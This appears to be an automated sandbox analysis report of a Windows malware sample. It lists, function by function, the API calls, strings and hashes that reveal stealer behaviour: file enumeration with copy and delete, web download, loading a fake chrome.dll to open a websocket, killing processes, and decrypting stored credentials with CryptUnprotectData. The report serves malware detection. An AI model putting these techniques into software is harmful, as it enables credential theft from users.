Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Strings

P2#v, xrefs: 0040DECC
1#v, xrefs: 0040DBEB

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 00401710 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425244,?,00401F6C,?,004252EC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425394), ref: 004019B3
StrCmpCA.SHLWAPI(?,0042543C), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

\*.*, xrefs: 00401831
P2#v, xrefs: 00401E60
1#v, xrefs: 00401963

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: 724f31a3d0bef2e8b5691e815c6eac2d1ac8ea70598fd7ef1af75b7e031c1b5c
Instruction ID: a576ed9f26fd673c6d53a896fc8188a2a0655e62510251b9f9068b5a07b58df1
Opcode Fuzzy Hash: 724f31a3d0bef2e8b5691e815c6eac2d1ac8ea70598fd7ef1af75b7e031c1b5c
Instruction Fuzzy Hash: 45125071A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405051, 00405134
+aA, xrefs: 00405105, 0040508D, 00405090, 00405108

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID: +aA$+aA
API String ID: 1008454911-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 0040E530 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E
P2#v, xrefs: 0040ECDF
1#v, xrefs: 0040E5A2
\*.*, xrefs: 0040E54D

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: P2#v$\*.*$1#v$@
API String ID: 433455689-1092267622
Opcode ID: a39a168669dd9b767188d7e03839cdcab6d542195d1a2e313aa4547aa9dca0e5
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: a39a168669dd9b767188d7e03839cdcab6d542195d1a2e313aa4547aa9dca0e5
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(6CD10000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(6CD10000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(6CD10000,?,004108E4), ref: 0040A0F9

Strings

connect_to_websocket, xrefs: 0040A0B3
free_result, xrefs: 0040A0C9
C:\ProgramData\chrome.dll, xrefs: 0040A093

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02EE53C0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
